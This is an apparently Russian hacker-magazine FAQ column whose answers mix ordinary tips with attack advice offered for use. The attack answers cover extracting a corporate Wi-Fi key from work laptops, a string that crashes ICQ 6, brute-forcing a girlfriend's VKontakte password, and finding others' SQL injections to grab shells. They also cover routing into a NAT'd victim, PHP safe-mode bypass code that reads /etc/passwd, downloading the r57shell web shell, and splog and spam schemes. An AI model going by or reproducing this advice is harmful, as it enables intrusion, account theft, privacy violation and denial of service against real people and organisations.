FAQАбыр Валгов (icq 884888) Степан Ильин aka Step (faq@real.xakep.ru) Хакер, номер #112, стр. 112-154-1
Задавая вопрос, подумай! Не стоит задавать откровенно ламерские вопросы, ответ на которые ты при определенном желании можешь найти и сам. Конкретизируй! Я не телепат, поэтому присылай как можно больше информации. Q: Можно ли как-нибудь приспособить Microsoft Visual Studio 2008 для работы с PHP проектами?A: Об отладчике и прочих прелестях, которые в другой ситуации предоставляет прекрасная среда разработки от MS, придется забыть. А вот добротный редактор, средства для контроля версий и даже подсветка кода – это запросто. Правда, для реализации последнего придется применить специальный хак:
Q: Как можно узнать PageRank страниц сайта?A: Для этого существует масса всевозможных средств. Если тебя распирает простое любопытство, и ты хочешь посмотреть PageRank для какого-то своего проекта, то, вероятно, лучше всего воспользоваться сервисом www.pageranktool.net. Его преимущество в том, что PageRank выводится для каждого Google'овского датацентра в отдельности. Но едва ли это подойдет для человека, который занимается SEO и замеряет PageRank по десять раз на дню! В таких случаях рекомендую использовать плагин для браузера. Для Internet Explorer идеальным образом подойдет Googlebar (toolbar.google.com), разрабатываемая, как несложно догадаться, самим Google'ом. В случае Firefox'а выбор намного шире, но мне больше всего нравится Google Toolbar for Firefox (www.google.com/tools/firefox/toolbar/) и Search Status (www.quirk.biz/searchstatus/). Q: На работе развернуты две Wi-Fi сети. Первая – полностью открытая и доступная всем, является обычным хотспотом для доступа всех желающих в инет. Вторая – приватная, с включенным шифрованием, но зато с доступом к внутренней сети компании и, соответственно, домену. Она используется на рабочих ноутбуках, однако сотрудникам ключ не сообщается. Но уж больно хочется во внутреннюю сеть со своего собственного лэптопа. Как можно было бы вытащить ключ с одного из рабочих ноутбуков?A: Найти ключи в системе не проблема: они хранятся в реестре. То есть, если немного покопаться, то извлечь их ничего не стоит, даже ручками. И все-таки, куда проще воспользоваться утилитой, которая все сделает за тебя. WirelessKeyView (www.nirsoft.net/utils/wireless_key.html) – как раз и предназначена восстанавливать ключи для беспроводных сетей, сохраненных сервисом Windows Wireless Zero Configuration в Windows XP или WLAN AutoConfig – в Vista. После запуска утилита выдаст названия профилей, а также сохраненные в них настройки: тип шифрования и ключи в Hex-формате. Q: Такая проблема: мой основной e-mail ежедневно засыпают горы спама. С ящиком на Gmail – та же самая история, но Google не в пример корпоративному фильтру поразительно умело отлавливает все рекламные сообщения. Отсюда вопрос: а есть ли возможность прикрутить спам-фильтр Gmail к моему обычному ящику на совсем другом сервере?A: Существует несколько вариантов, каждый – со своими достоинствами и недостатками. Первый вариант – наиболее продвинутый и прозрачный для пользователя, но использовать его можно только в том случае, если на на почтовом сервере ты можешь создать собственное фильтрующее правило (server-side e-mail filter). Общая схема выглядит следующим образом:
Резонный вопрос: что добавляет Gmail в хедеры? А добавляет он следующее: X-Forwarded-For: user@gmail.com forwarded@to.com X-Gmail-Received: some-random-number Delivered-To: user@gmail.com Как известно, аккаунт на Gmail можно использовать как обычный почтовый клиент, работающий в окне браузера. Ничего не стоит настроить прием почты с твоего основного ящика в самом Gmail (указав адрес твоего POP-сервера, логин и пароль), после чего использовать все прелести почтового интерфейса от Google. Единственный минус – для доступа к почте необходим инет. Частично эту проблему можно решить, используя программу Google Desktop, которая кэширует все приходящие письма, в том числе и через Gmail. Q: Подскажи, а можно ли использовать бесплатный хостинг в качестве прокси сервиса? Большинство списков с бесплатными прокси – полная фигня. Найти рабочую очень сложно, а вот хостинг с широким каналом раздают направо и налево. Это наверняка можно использовать!A: Конечно. Тем более существует отличная реализация прокси, написанная на PHP. Я имею в виду Glype Proxy (www.glype.com), единственным требованием для работы с которой является наличие интерпретатора PHP5 с установленным cURL. При всей простоте использования (для установки, достаточно залить скрипт на сервер) она предоставляет широкую функциональность. Тут тебе и кэширование на сервере (для ускорения работы), и управление доступом (для того, чтобы твою прокси не использовал кто попало), и преобразования URL (для обхода корпоративных фильтров, отсеивающих контент по URL), и поддержка плагинов. Развернуть целую сеть из проксей позволяет Glype Manager, также доступный на офсайте. Q: А как бы мне быстро и надежно «завалить» icq-клиент оппонента?A: Недавно обнаруженная бага в клиенте Icq 6 (на котором сидят большинство пользователей аськи) предоставляет великолепную возможность повесить систему твоего недруга. Для этого хакеру нужно послать пользователю, сидящему на Icq 6, сообщение, где будет содержаться строка: «%020000000s» (без кавычек, конечно), которая и вызовет отказ в обслуживании программы. P.S. Вот здесь лежит подобный трюк под старые версии QIP Не советую проверять все это на друзьях и подругах :) Q: Хочу подсмотреть аккаунт своей подружки на Вконтакте, как это сделать?A: В нелегком деле раскрытия тайны переписки на ставшей такой популярной социальной сети vkontakte.ru тебе поможет скрипт-брутфорсер, написанный нашим соотечественником C!klodoL'ом. Прога перебирает пароли по словарю и поддерживает многопоточность. Так что, запустив ее где-нибудь на дедике, ты быстро сможешь узнать пароль своей незадачливой подруги. А скачать исходник скрипта можно на http://forum.antichat.ru/thread60546.html. Q: Что такое сплог и как он мне поможет в деле раскрутки сайта?A: Сплог (splog, s[pam]blog) – это спамблог, использующий автоматически сгенерированный или чужой контент с целью привлечения трафика на партнерские программы или на свои сайты. Часто сплог – не просто блог, а целая сеть спамерских блогов или блог-хостинг, использующий один домен в качестве основного и кучу сабдоменов, подготовленных для разных тематических кейвордов. Движков для построения сплога великое множество: блогоферма (сейчас в привате), Wordpress MU (mu.wordpress.org) и другие. Я советую использовать под сплог именно Wordpress MU в совокупности с плагином WP-O-Matic, который тырит RSS-ленты с других блогов и постит их на твоем ресурсе. Подробнее прочитать про сплоги можно на Википедии: http://en.wikipedia.org/wiki/Splog. Q: Хочу создать свой сплог на базе Wordpress MU. Подскажи, где в настройках сервера включить поддержку субдоменов для сплога, чтобы работали адреса вроде *.mysplog.com?A: Очень просто. Но для этого тебе нужен доступ к конфигурационному файлу Apache – httpd.conf. Если такового нет, можешь попросить админов твоего хостинга сделать необходимые изменения в конфиге. А именно в секции твоего виртуального хоста прописать директиву «ServerAlias *.твой_сайт.net твой_сайт.net» (без кавычек). После чего, сохранив конфиг и перезагрузив Апач, ты увидишь, что твой Wordpress MU стал понимать субдомены. Q: А где бы мне поживиться свежими халявными sql-инъекциями и php-инклудами? Самому искать и ломать что-то лень.A: На уважаемом мной Античат.Ру любители и профессионалы частенько выкладывают найденные ими баги сайтов в специально созданные ими темы:
На найденных другими людьми уязвимостях ты сможешь легко потренировать хакерские навыки. Ну, или поживиться свежим бесплатным шеллом :) Q: Хочу забекдорить человека, который сидит за NAT-системой, но ничего не выходит. Как это можно сделать?A: Тебе очень повезет, если админ взламываемой тачки не закрыл на NAT передачу вовнутрь сети. В таком случае тебе просто нужно указать в своей таблице маршрутов сеть и то, через что она доступна. Например, жертва находится в сети и имеет адрес 10.1.1.10 255.255.255.0 Значит, тебе нужно узнать IP-адрес шлюза, через который сеть доступна (соответственно, это NAT). Надеюсь, для тебя это не составит большого труда (для примера возьмем 195.10.115.202). После всех вышеописанных действий в командной строке (если имеем дело с виндой) добавляем статический маршрут: route add 10.1.1.0 mask 255.255.255.0 195.10.115.202. Вот и вся схема. В любом случае, удача тебе улыбнется только при не очень хорошем администраторе :). Q: Как определить, что SQL-инъекция находится именно в SELECT запросе, а не в DELETE, UPDATE и прочих?A: Для этого можно попробовать вставить в конец запроса оператор LIMIT. Отсутствие ошибки будет говорить о том, что сервер работает на MySQL (ибо, как ни странно, LIMIT – это не стандарт Structured Query Language) и, конечно, о том, что там действительно фигурирует оператор SELECT. Если же это не MySQL, то атакующий может попробовать подставить «GROUP BY 1» или «HAVING 1=1» – запросы, относящиеся к стандарту языка SQL и работающие только в операторе SELECT. Эти два способа помогут узнать тип запроса и определиться с планом взлома ресурса дальше. Q: Хочу изучить несколько известных движков на предмет уязвимостей, но уже замучался работать с неудобной подсветкой кода в php-редакторах. Не знаешь, каким софтом удобно оперировать всеми классами и функциями php-кода?A: Недавно я наткнулся в инете на замечательную программу PHPXref (или PHP Cross Referencing Documentation Generator), которая и решает обозначенную тобой проблему. Скачать софт можно по адресу http://phpxref.sourceforge.net. Здесь все просто. Скачиваешь программу, распаковываешь, затем в файле phpxref.cfg указываешь исходный каталог (SOURCE), выходной (OUTPUT), кодировку (CHARSET) и запускаешь файл phpxref.exe. Программа отработает, и в указанном выходном каталоге появится новый файл nav.html, в котором будут подсвеченные исходники движка в удобоваримом виде с родительским наследованием всех классов, функций и указанием параметров функций. Дальше остается только наслаждаться :). P.S. Программа поставляется как для Windows в виде экзешника, так и для Linux в виде perl-скрипта. Q: Слышал про хакерские сервисы, платящие за распознавание CAPTCHA. Действительно ли существуют такие?A: Да, такие сайты действительно существуют. Вот лишь самые известные из них:
Зачем им это нужно? Для элементарной регистрации множества почтовых ящиков и рассылки спама. Так что если ты не любишь спам, но при этом хочешь заработать, решай сам, как тут быть :) Q: Подскажи методы обхода safe-mode в последних версиях php.A: Вот некоторые скрипты, которые помогут тебе прочитать содержимое файлов и каталогов в системе при включенном safe-mode: PHP <= 4.4.7 / 5.2.3 MySQL/MySQLi Safe Mode Bypass Vulnerability <?php file_get_contents('/etc/passwd'); $l = mysql_connect("localhost", "root"); mysql_query("CREATE DATABASE a"); mysql_query("CREATE TABLE a.a (a varchar(1024))"); mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'"); mysql_close($l); mysql_connect("localhost", "aaaa"); mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); $result = mysql_query("SELECT a FROM a.a"); while(list($row) = mysql_fetch_row($result)) print $row . chr(10); ?> Также очень много информации по теме ты сможешь почерпнуть тут: http://forum.antichat.ru/thread46034-safe+mode.html. Q: Слышал, что появилась новая версия известного r57shell за номером 1.4. Как такое возможно, ведь команда разработчиков закрыла свой проект?A: Все просто. Знаменитые RST/GHC просто-напросто ушли в подполье, но их ЖЖ, в котором ты и можешь скачать новую версию шелла, никто не запрещал: http://www.livejournal.com/go.bml?journal=rstghc&itemid=1215&dir=next Из новых вкусных возможностей стоит отметить:
Q: Где бы прямо в онлайне проверить файл на наличие вирусов?A: Для проверки файлов прямо в интернете существует множество специализированных сервисов. Перечислю лишь некоторые из них:
Этих сервисов будет вполне достаточно для твоей безопасности, ибо мне неизвестно антивируса, который есть на каком-либо ином портале и отсутствует на этих двух. |